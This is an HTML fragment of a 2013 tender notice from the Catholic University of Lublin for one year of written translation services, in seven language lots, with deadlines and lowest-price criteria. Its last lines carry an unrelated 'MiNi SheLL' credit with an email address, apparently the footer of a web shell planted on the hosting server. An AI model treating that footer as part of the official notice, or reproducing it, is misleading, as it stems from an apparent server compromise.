<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>-Opis przedmiotu zamówienia wraz z wyceną, według wzoru stanowiącego Załącznik nr 1a/1b/1c/1d/1e/1f/1g do SIWZ (w zależności od części, na którą/-e Wykonawca składa ofertę);
-Formularz ofertowy Wykonawcy, według wzoru stanowiącego Załącznik nr 2 do SIWZ;
-Pełnomocnictwo do reprezentowania Wykonawcy w postępowaniu, jeżeli osoba reprezentująca Wykonawcę w postępowaniu o udzielenie zamówienia nie jest wskazana jako upoważniona do jego reprezentacji we właściwym rejestrze lub centralnej ewidencji i informacji o działalności gospodarczej.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.Zamawiający dopuszcza zmianę postanowień zawartych umów w związku:
1)ze zmianą organizacyjno-prawną lub w zakresie danych teleadresowych Stron,
2)ze zmianą właściwych przepisów prawa, a tym samym koniecznością dostosowania treści umowy do aktualnego stanu prawnego;
3)z zaistnieniem siły wyższej;
4)ze zmianą terminu, o której mowa w §2 Umowy.
2.W sprawach nie uregulowanych niniejszą Umową mają zastosowanie odpowiednie przepisy Kodeksu cywilnego, ustawy Prawo zamówień publicznych oraz rozporządzeń wykonawczych do w/w ustawy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://bip.kul.lublin.pl/postepowania-zgodnie-z-ustawa-pzp,16320.html<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Katolicki Uniwersytet Lubelski Jana Pawła II
Al. Racławickie 14 
20-950 Lublin
 Dział Zamówień Publicznych, pokój C-223.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 18.09.2013 godzina 10:00, miejsce: Katolicki Uniwersytet Lubelski Jana Pawła II
Al. Racławickie 14 
20-950 Lublin
Dział Zamówień Publicznych, pokój C-223.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język arabski na potrzeby Wydziału Prawa, Prawa Kanonicznego i Administracji KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1a do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów  na/z  język angielski na potrzeby Wydziału Filozofii KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1b do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język francuski na potrzeby Wydziału Filozofii KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1c do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język angielski na potrzeby Wydziału  Teologii KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1d do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 5 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język angielski na potrzeby Wydziału  Nauk Humanistycznych KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1e do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 6 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język rosyjski na potrzeby Wydziału  Nauk Humanistycznych KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1f do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 7 <b>NAZWA:</b> świadczenie usługi tłumaczenia pisemnego tekstów na/z język ukraiński na potrzeby Wydziału  Nauk Humanistycznych KUL.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> zgodnie z Załącznikiem nr 1g do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com